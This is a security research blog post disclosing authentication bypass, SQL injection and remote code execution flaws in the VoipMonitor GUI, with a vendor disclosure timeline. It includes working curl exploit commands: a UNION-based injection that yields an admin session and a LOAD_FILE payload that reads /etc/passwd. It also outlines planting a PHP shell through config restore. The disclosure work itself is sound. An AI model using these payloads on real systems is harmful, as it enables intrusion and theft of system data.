# Introduction
---
If you don't want to read the technical details you can skip to the demo [Here](#rce-demo "RCE Gif demo")
\
During analysis of the VoipMonitor GUI which is mainly written with PHP, there were multiple issues discovered. Here we will talk about those issues, How they look in the code, and how they can be abused.
\
This is the first in a series of research projects we're doing. So do stay tuned for more.
## Simple authentication bypass (CVE-2022-24259)
---
\
To start things off, There is a simple authentication bypass bug in a file named ```cdr.php``` located in the webroot. This bypass is very simple to "exploit" but it doesn't give us full control, i.e. the user we can authenticate as does not have full access to the system. But it does open a lot of new attack vectors and is interesting to look at.
\
So let's start exploring this bug starting with the code in the file mentioned above.
```php
// ..snipped...
if (!isset($_SESSION["authuser"]) || $_SESSION["authuser"] == "cdr_temp") {
$_SESSION["authuser"] = "cdr_temp";
}
// .. snipped ...
```
From the above bit of code, most of you will notice what's wrong. The script sets a value to **$_SESSION** without any input from the user. To explain further, A session variable **authuser** is set to **cdr_temp** if it's not set to anything already which is the case for any request without a valid cookie.
\
The issue here is if we send a request to this script directly it will give us a session_id with the value of auth_user set to cdr_temp, And since VoipMonitor uses this variable in **$_SESSION** to check if the user is authenticated for some actions we can get an authentication bypass. A simple example of exploiting this using curl is shown in the screenshot below.
```bash
# curl command
curl http://192.168.56.103/cdr.php -D -
```
![](/static/blog/9afd3dcafe445748998ecc2c5b13a73a9f154583ce6d0de90a86560145739380/cdr_auth_bypass.png)
The screenshot shows a simple authentication bypass, We make a request to api.php which tells us that we are not authenticated, Then we send a request to cdr.php to set auth_user in $_SESSION, Then we send the same request again but this time authentication is bypassed.
## Pre-Auth SQL injection (CVE-2022-24260)
---
\
This second vulnerability is significantly more severe than the previous one. Let's see where it happens and what we can do with it. The bug occurs in the file name **api.php** which is also located in the webroot. The bug, in this case, spans multiple files so we'll look at them one by one.
\
Let's start from api.php
```php
switch ($_REQUEST["action"]) {
// snip to line ~36
case "login":
api_login();
break;
// ... snip ...
function api_login()
{
if (isCloud() && !function_exists("curl_init")) {
echoError("Module php-curl is missing. Enable it, restart web server and try it again.");
exit;
}
if ($_REQUEST["user"] == "") {
echoError("missing parameter user");
exit;
}
if ($_REQUEST["pass"] == "") {
echoError("missing parameter password");
exit;
}
if (isCloud()) {
// This authentication is for cloud hosted instances, As such we won't discuss it here.
// But the code here uses some user controllable variables to construct a url, Which might lead to something interesting.
// ... snip ...
}
connect_db();
// This function is where the sql injection exists!
getUpdateUserLoginData($row, $_REQUEST["user"], $_REQUEST["pass"], "users");
if ($row) {
// Snipped for simplicity sake, Basically parses the result and sets up a session.
} else {
echoError($lang["loginFailed"]);
}
```
The code above is pretty clear, If the **action** parameter of our request is set to *login* it calls a function that handles login. This function does a basic check on the existence of required parameters **user** and **pass** which are then passed to a function named **getUpdateUserLoginData()**.
\
The function is responsible for authenticating the user and returning the result from the database if authentication succeeds, This is where the SQL injection exists. The function is in a file named **functions.php** in the <webroot>/php/lib/ directory. Let's take a look.
```php
function getUpdateUserLoginData(&$row, $user, $password, $table = "users", $nextCond = NULL, $assoc = false)
{
$conds = array();
if ($password) {
array_push($conds, "(length(password) = 32 and `password` = '" . md5($password) . "' or length(password) = 64 and `password` = '" . hash("SHA256", $password) . "')");
}
if ($user) {
array_push($conds, "" . "`username` = '" . $user . "'"); // OOF 1: Adding a user variable without quoting/escaping
}
if ($nextCond) {
array_push($conds, $nextCond);
}
$Cond = implode(" AND ", $conds); // OOF 2: implode here has no escaping either.
if ($assoc) {
$row = get_row_assoc("" . "SELECT * from " . $table . " WHERE " . $Cond);
} else {
$row = get_row("" . "SELECT * from " . $table . " WHERE " . $Cond);
}
if ($row && $password && $row["password"] == md5($password)) {
$rslt = getColumnType($table, "password");
if (strpos($rslt, "varchar(64)") !== false || strpos($rslt, "varchar(100)") !== false) {
update_row(array("password" => hash("SHA256", $password)), $table, "" . "id = " . $row["id"]);
}
}
}
```
We can see from the above code that the variable ***$user*** is used in an SQL statement without any type of quoting. This is then executed using ***get_row()*** which is a wrapper around an SQL library that just runs SQL queries.
\
Now we have an SQL injection :). We could extract data from this using blind SQLi techniques, But the easier thing to do would be to bypass the login and gain full access to the system (We can create an admin session). To achieve this we will use a UNION-based injection to make the script think a valid user was supplied. This will lead to an admin-level session being generated. We can use that session for further attacks.
\
The screenshot below shows the request that grants the user an admin level session :).
```bash
# curl command used
curl -v http://192.168.56.103/api.php -d "module=relogin&action=login&pass=nope&user=a' UNION SELECT 'admin','admin',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null; #"
```
![](/static/blog/9afd3dcafe445748998ecc2c5b13a73a9f154583ce6d0de90a86560145739380/sqli_api_php.png)
The highlighted session ID that is generated can be used with other requests to authenticate as admin, We will use it in the next exploit to demo another bug that requires authentication.
## Post authentication SQL injection (Duped with CVE-2022-24260)
---
This injection exists in a file named **php/model/utilities.php**. To simplify things, I'll explain the steps not relevant to our exploit referencing code.
\
This file has multiple functions defined within it, These functions can be called by a user using a parameter name **task** any arguments we want to pass to these functions should be JSON encoded and will be passed to the function we specified in task after being decoded. Each function requires and handles parameters differently. The arguments have the following format.
```json
{
"<arg_name>":"<arg_value>",
...
}
```
Now that we have got that out of the way, Let's see the actual function in utilities.php that causes the SQL injection and how to exploit it.
```php
function loadConfigSubsystem($param)
{
echoSuccess(array("config" => getConfigSubsystem($param->subsystem, $param->name, empty($param->user_id) ? NULL : $param->user_id)));
}
```
The function that's called with our parameters **getConfigSubsystem()** is located in the **functions.php** file mentioned above, So let's take a look at it and see how we can exploit the SQLi bug and where it exists.
```php
function getConfigSubsystem($subsystem, $name, $user_id = NULL)
{
$query = new cQuery();
$subsystem = sql_escape_string($subsystem);
$name = sql_escape_string($name);
$user_id_field = login_table() == "users" ? "user_id" : "user_id_custom_login";
return $query->getItem("" . "select config from custom_config\n\t\t\t\twhere subsystem='" . $subsystem . "' and name='" . $name . "'" . ($user_id ? "" . " and " . $user_id_field . "='" . $user_id . "'" : NULL), "config");
}
```
The injection occurs at ***$query->getItem()*** which executes an SQL statement and returns the result. Now, most of our arguments to this function are properly escaped(quoted) using **sql_escape_string** which makes injection using any of those parameters infeasible. But if you look closely the variable ***$user_id*** which is also derived from user input is not quoted properly and is used in the SQL query. And that's where the injection is.
\
Now, remember this vulnerability requires authentication to exploit, But luckily using the [SQL injection](#pre-auth-sql-injection-cve-2022-24260 "api.php SQLi") in ***api.php*** described above (CVE-2022-24260) we can exploit this bug to get SQLi with data echoed back to us.
\
Demo dumping the contents of /etc/passwd using mysql LOAD_FILE:
```bash
# curl command
curl -b PHPSESSID=mekqcujtbneqmc87eh728gor94 http://192.168.56.103/php/model/utilities.php -d 'task=loadConfigSubsystem¶ms={"subsystem": "tracker", "name":"name", "user_id":"'\'' UNION SELECT load_file('\''/etc/passwd'\'') #"}' | jq
```
![](/static/blog/9afd3dcafe445748998ecc2c5b13a73a9f154583ce6d0de90a86560145739380/sqli_etc_passwd.png)
## Remote command execution via GUI config restore (CVE-2022-24262)
The final step was to gain remote command execution, Or someway to upload a shell. Luckily the VoipMonitor GUI has the functionality to restore the configuration to a running system using a zip archive. This functionality is authenticated of course. But we can bypass authentication using the api.php SQLi and reach it. Once the upload is completed, The zip is extracted to the webroot and if we place a PHP script in the archive it will be written to webroot giving us a remote shell.
\
\
I will not be going into detail here, For the main reason that the only bug here is the fact that we are allowed to upload any file extension and that we can reach the uploaded files to get them to execute.
\
\
If you're interested I leave discovering this bug as an exercise to the reader :)
\
There's a gif below showing a demo of exploitation (SQLI->RCE).
# RCE demo
---
![](/static/blog/9afd3dcafe445748998ecc2c5b13a73a9f154583ce6d0de90a86560145739380/Demo_RCE.gif)
## Timeline
---
- Dec 15, 2021 Contacted voipmonitor.
- Jan 3, 2022 Response from voipmonitor.
- Jan 10, 2022 Sent vulnerability details
- Jan 11, 2022 Voipmonitor 24.97 released
- Feb 18, 2022 Public Disclosure